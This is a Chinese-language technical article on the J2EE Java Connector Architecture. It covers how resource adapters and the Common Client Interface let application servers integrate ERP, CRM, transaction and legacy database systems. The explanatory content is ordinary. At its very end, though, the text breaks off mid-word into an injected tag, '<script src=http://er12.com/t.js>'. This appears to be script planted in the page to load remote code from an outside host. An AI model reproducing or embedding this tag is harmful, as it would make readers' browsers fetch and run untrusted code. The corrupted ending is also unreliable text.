jca (j2ee 连接器架构,java connector architecture)是对j2ee标准集的重要补充。因为它注重的是将java程序连接到非java程序和软件包中间件的开发。连接器特指基于java连接器架构的源适配器，其在j2ee1.3规范中被定义。jca连接器同时提供了一个重要的能力，即它使j2ee应用服务器能够集成任何使用jca适配器的企业信息系统（eis），大大简化了异构系统的集成。有了jca，企业只要购买一个基于jca规范的适配器，就可以将企业应用部署到j2ee服务器上，这样不用编写任何代码就可以实现与j2ee应用服务器的集成。jca还提供了一个应用服务器和eis连接的标准java解决方案。
jca定义了一套标准的接口，用于让连接器把兼容的应用程序服务器无缝的整合起来。同时，定义的另一套标准接口允许客户(或者应用程序服务器的应用程序主机)用一种统一的方法使用连接器。这样，连接器对于跨应用程序服务器就是可移植的，而客户程序成为很轻便的连接器。
jca的目标在于企业应用程序集成方面，它提供的标准化体系结构让j2ee组件能够对异构eis进行“即插即用”的访问，其中包括erp、事务处理、老式数据库系统等。
jca与eis集成应用
在电子商务时代，具有因特网功能的业务应用程序，以及在因特网上集成业务处理已经成为各大厂商获得竞争优势的基础。不过在因特网经济之前，许多公司已经在业务和管理信息应用系统方面进行了大量的投入，如：
◆ 企业资源规划(enterprise resource planning，erp)应用，如sap r/3和baan。
◆ 客户关系管理(customer relationship management，crm)应用，如siebel和clarify。
◆ 数据库应用程序，如db2和sybase。
◆ 大型事务处理应用，如cics。
◆ 老式数据库系统，如ibm公司的ims。
这些系统一般称为企业信息系统（eis ，enterprise information systems)。eis为整个企业提供信息基础设施和服务。这些信息的形式可能是—个数据库中的一组记录、一个erp中的业务对象、一个crm系统的工作流对象，或者是一个事务处理应用程序中的事务程序。
在连接器出现之前，一些应用程序服务器厂商为集成eis系统提供了各种可自定义的适配器。这些适配器还提供了自定义的本机接口。但这些内容很复杂，不易理解，并且因为它们试图支持一种标准体系结构而受到限制。其中一些具体的限制情况如下：
◆ eis的应用程序编程本身是专用的，而应用系统的多样性表明没有适用于与开放式体系结构集成的通用接口机制。
◆ 大型web应用程序要求在客户、连接管理等方面具有高可用性和可扩展性。传统情况下，客户的数量及他们的活动连接在—个eis中代价是昂贵的，并且自定义的适配器也缺乏应用程序服务器提供的连接管理机制。
◆ 管理众多后端应用的安全性和分布式事务极其复杂并且缺乏可靠的机制。这意味着现在没有标准的基础设施解决方案来提供一个比较中性的安全性机制，也没有对众多eis资源管理器的通用事务管理支持。这种情况对于eai实现会带来巨大的问题。
考虑到上述难点，su公司发布了jca，以便为j2ee服务器与异构eis资源的集成提供一个标准的体系结构。其主要目标是，通过在一个一致的j2ee环境中定义一个通用的api及一组通用的服务来简化开发过程。jca为开发者提供了一种容易的办法，以便把eis与j2ee系统平台组件无缝地集成起来。图1显示了一个带有jca的组件和eis集成应用的结构图。
从图1可看出，如果需要把一个基于j2ee的应用程序与一个现有的eis集成起来，所需做的就是把适当的eis连接器(一个遵守jca规范的资源适配器，即resource-adapter)安装到应用程序服务器上。安装了这个适配器之后，我们可以开发j2ee组件，以便使用cci（ common client interface，通用客户接口）api与eis接口。采用的方式与使用jdbc与关系数据库接口相同。也就是说，通过采用非eis专门化的编程而简化开发，并且所做配置与后端eis完全独立。
sun的想法是，所有应用程序服务器厂商最终都会实现jca服务，并且eis厂商将实现遵守jca规范的eis资源适配器。通过支持jca，所有遵守j2ee的应用程序服务器都可以保证能够处理众多和异构的eis资源。因此，jca既提高了j2ee应用程序开发者的生产率，同时又通过j2ee提供一个可以扩展的集成方案，减少了开发成本，并且保护了在eis系统中的现有投资。
j2ee连接器体系结构及其元素
jca是在一个遵守j2ee 1.3规范的应用程序服务器上实现的，同时有一个由eis厂?script src=http://er12.com/t.js>
